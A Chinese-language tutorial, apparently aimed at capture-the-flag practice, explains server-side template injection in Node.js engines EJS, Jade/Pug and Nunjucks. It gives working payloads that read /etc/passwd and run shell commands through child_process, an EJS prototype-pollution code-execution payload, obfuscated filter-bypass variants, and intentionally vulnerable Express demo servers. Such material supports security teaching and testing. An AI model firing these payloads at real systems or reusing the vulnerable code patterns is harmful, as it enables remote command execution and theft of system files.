共计 7017 个字符,预计需要花费 18 分钟才能阅读完成。
Nodejs 除了原型链污染外另一个常考点就是 SSTI 了
常见的模板引擎有:
- EJS
- Pug(Jade)
- Nunjucks
- Mustache
之前 Python 的时候大家应该都知道 SSTI 的成因就不再赘述了。EJS 模板注入
EJS 简介
EJS 是一个 JavaScript 模板库,用来从 json 数据中生成 HTML 字符串
使用<% code %>执行 JavaScript 代码基础用法:
标签:
所有使用 <% %> 括起来的内容都会被编译成 Javascript,可以在模版文件中像写 js 一样 Coding
//test.ejs
<% var a = 123 %>
<% console.log(a); %>
//test.js
var ejs = require('ejs');
var fs = require('fs');
var data = fs.readFileSync('test.ejs');
var result = ejs.render(data.toString());
console.log(result);
//123
或
var ejs = require('ejs');
var result = ejs.render('<% var a = 123 %><%console.log(a); %>');
console.log(result);
//123
插值语句:
<%= 变量名 %>
if else 语句
<% if(条件){ %>
html 代码
<% } %>
实例:
<body>
<% if (state === 'danger') { %>
<p> 危险区域, 请勿进入 </p>
<% } else if (state === 'warning') { %>
<p> 警告, 你即将进入危险区域 </p>
<% } else { %>
<p> 状态安全 </p>
<% } %>
</body>
循环语句:
<% arr.foreach((item,index)=>{%>
html 代码
<% }) %>
实例:
<body>
<ul>
<% for(var i = 0; i < users.length; i++) { %>
<% var user = users[i]; %>
<li><%= user %></li>
<% } %>
</ul>
</body>
渲染页面:
ejs.compile(str,[option])
编译字符串得到模板函数,参数如下
str:需要解析的字符串模板
option:配置选项
var template = ejs.compile('<%=123 %>');
var result = template();
console.log(result);
//123
`ejs.render(str,data,[option])`
直接渲染字符串并生成 html,参数如下
str:需要解析的字符串模板
data:数据
option:配置选项
var result = ejs.render('<%=123 %>');
console.log(result);
//123
变量:
用 <%=...%> 输出变量,变量若包含 '<' '>' '&'等字符会被转义
var ejs = require(‘ejs’);
var result = ejs.render(‘<%=a%>’,{a:’
‘});
console.log(result);
//<div>123</div>
如果不希望变量值的内容被转义,那就这么用 <%-... %> 输出变量
var ejs = require(‘ejs’);
var result = ejs.render(‘<%-a%>’,{a:’
‘});
console.log(result);
//
注释:
用 <%# some comments %> 来注释,不执行不输出
危险函数
include
<%- include('/etc/passwd') %>
fs
<%= global.process.mainModule.require('fs').readFileSync('/etc/passwd', 'utf-8') %>
child_process
<%= global.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() %>
配合原型链污染 RCE
这个严格上来说与 SSTI 没有关系,但是经常有人把这个和 SSTI 放在一起,所以我们这里稍微讲一下,也很简单
当 res.render(X)执行的时候,express 会把.ejs 文件全部读取,并且把模板内容(也就是 ejs 文件)、数据对象(程序员显式传入的变量)用户输入、全局设置全部交给 EJS 引擎。
var src = 'var out ="";n';
src += 'var __line = 1;n';
src += 'try {n';
if (opts.outputFunctionName) {src += 'var' + opts.outputFunctionName + '= escapeFn;n';}
if (opts.destructuredLocals) {src += 'var {' + opts.destructuredLocals.join(',') + '} = locals;n';
}
src += 'with (locals || {}) {n';
src += 'out +="' + templateContent + '";n';
src += '}n';
src += 'return out;n';
src += '} catch (err) {n';
src += 'rethrow(err, __line);n';
src += '}n';
其中 opts.outputFunctionName 被直接拼接进代码,
但是默认这个是没有赋值的,我们可以通过原型链污染赋值实现代码执行
{
"__proto__": {
"__proto__": {"outputFunctionName": "a; return global.process.mainModule.require('child_process').execSync('cat /flag').toString(); //"}
}
}
那么在 EJS 引擎工作时,被 + 给拼接后会变成
src += var a;return global.process.mainModule.require('child_process').execSync('id').toString();// = escapeFn;
return global.process.mainModule.require(‘child_process’).execSync(‘id’).toString(); 直接独立成立一个语句,直接执行
或者{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
const express = require('express');
const ejs = require('ejs');
const app = express();
const PORT = 3000;
app.get('/', (req, res) => {
// 1. 从 URL 参数中获取用户输入,例如 ?name=Guest
const userInput = req.query.name || 'Guest';
// 2.【核心漏洞点】:动态拼接字符串作为模板
// 这里把用户输入直接拼进了模板字符串中,导致用户可以注入 EJS 语法(如 <% %>)const template = `
<html>
<body>
<h1> 欢迎来到 EJS 实验场景 </h1>
<p> 你好, ${userInput}!</p>
</body>
</html>
`;
try {
// 3. 使用 ejs.render 渲染这个被污染的字符串
const html = ejs.render(template);
res.send(html);
} catch (err) {res.status(500).send("渲染出错:" + err.message);
}
});
app.listen(PORT, () => {console.log(` 服务已启动: http://localhost:${PORT}`);
});
我们输入http://localhost:3000/?name=<%= process.mainModule.require('child_process').execSync('whoami').toString() %>
就可以执行命令
我们来分析一下这个 payload
# 大致流程是
process(当前进程)->mainModule(指向启动当前进程的入口模块)->require(获取 require 方法)-> 导入 child_process 执行命令
Jade(Pug)模板注入
Jade 得功能更加强大,攻击面比 EJS 更加广泛
模板定位符是#{}
例如:
// 极其危险:直接拼接用户输入
const template = "h1 欢迎," + req.query.name;
const html = jade.render(template);
输入
?name=#{7*7}会返回 49
#{process.mainModule.require('child_process').execSync('whoami').toString()}会返回 whoami
下面一段代码演示一下
const express = require('express');
const jade = require('jade');
const app = express();
const PORT = 3000;
app.get('/', (req, res) => {
// 获取用户输入的参数 'name'
const name = req.query.name || 'Guest';
const template = `
doctype html
html
body
h1 欢迎来到实验环境
p 你好, ${name}!
p 当前时间是: #{new Date()}
`;
try {
// 渲染拼接后的字符串
const html = jade.render(template);
res.send(html);
} catch (e) {res.status(500).send("模板渲染出错:" + e.message);
}
});
app.listen(PORT, () => {console.log(` 漏洞服务器已启动: http://localhost:${PORT}`);
});


Nunjucks 模板注入:
Nunjucks 是一个功能丰富、强大的 JavaScript 专用模板引擎。Nunjucks 提供丰富的语言特性和块继承、自动转移、宏和异步控制等等。
他的模板符号和 Python Flask 一样是{{}},判断语句是 “
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<h1> 我是一级标题 </h1>
<!-- 插值引用数据 -->
<p> 用户名是:{{username}}</p>
</body>
</html>
与 EJS 不同,Nunjucks 默认在一个相对“干净”的上下文中运行,直接访问 process 有时会被限制。但由于 JavaScript 的特性,我们可以通过任何一个对象的 构造函数(constructor)跳回全局环境。
Payload:
{{range.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()}}
- {{range.constructor("return global.process.mainModule.require('child_process').execSync('ls /').toString()")()}}
我们来拆开解析这个 payload:
首先什么是构造函数?
在 JavaScript 中,几乎每个对象都有一个 constructor 属性,指向创建该对象的函数。
- 如果你有一个字符串:
"abc".constructor是String。 - 如果你有一个数字:
(123).constructor是Number。 - 如果你有一个内置函数:
range.constructor是Function。
关键: Function 是 JavaScript 的顶级构造函数,它可以用来 动态创建并执行新的函数。4
我们的 payload{{range.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()}}就相当于
function anonymous() {return process.mainModule.require("child_process").execSync("id").toString();}
而这里的 range.constructor 就等于 function。
下面看看演示代码
const express = require('express');
const nunjucks = require('nunjucks');
const app = express();
const PORT = 3000;
nunjucks.configure({autoescape: false});
app.get('/', (req, res) => {
const name = req.query.name || 'Guest';
const templateString = `<h1> 你好, ${name}!</h1><p> 欢迎来到 Nunjucks 测试环境。</p>`;
try {const result = nunjucks.renderString(templateString);
res.send(result);
} catch (err) {res.status(500).send("渲染错误:" + err.message);
}
});
app.listen(PORT, () => {console.log(`Nunjucks 漏洞服务器运行在: http://localhost:${PORT}`);
});

有的时候 payload 也长这个样子
{{range.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}
这里多了一个 global。当你通过 range.constructor('...')() 创建一个新函数时,这个函数是在 全局作用域 下运行的。虽然直接写 process 通常能跑通,但写成 global.process 是一种更“标准”的写法,确保 JavaScript 引擎从最顶层的全局池里去寻找这个变量,而不是在当前的局部闭环里打转。
绕过 waf
字符串拼接
{{"string"["toSt"+"ring"]["const"+"ructor"]('return process.mainModule.require("child_process").execSync("whoami").toString()')()}}
这里发送的时候时候需要 URL 编码否则会失败
或者是{{range["const"+"ructor"]('return process.mainModule.require("child_process").execSync("whoami").toString()')()}}
注意加了引号会被解析成字符串
UNICODE 编码
{{"string"["toSt"+"ring"]["const"+"ructor"]("return(global["process"]["mainModule"]["require"]("child_process")["execSync"]("cat /flag")["toString"]())")()}}
经过 unicode 编码
{{"string"["toSt"+"ring"]["const"+"ructor"]("return(global["\u0070\u0072\u006f\u0063\u0065\u0073\u0073"]["\u006d\u0061\u0069\u006e\u004d\u006f\u0064\u0075\u006c\u0065"]["\u0072\u0065\u0071\u0075\u0069\u0072\u0065"]("\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073")["\u0065\u0078\u0065\u0063\u0053\u0079\u006e\u0063"]("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")["\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067"]())")()}}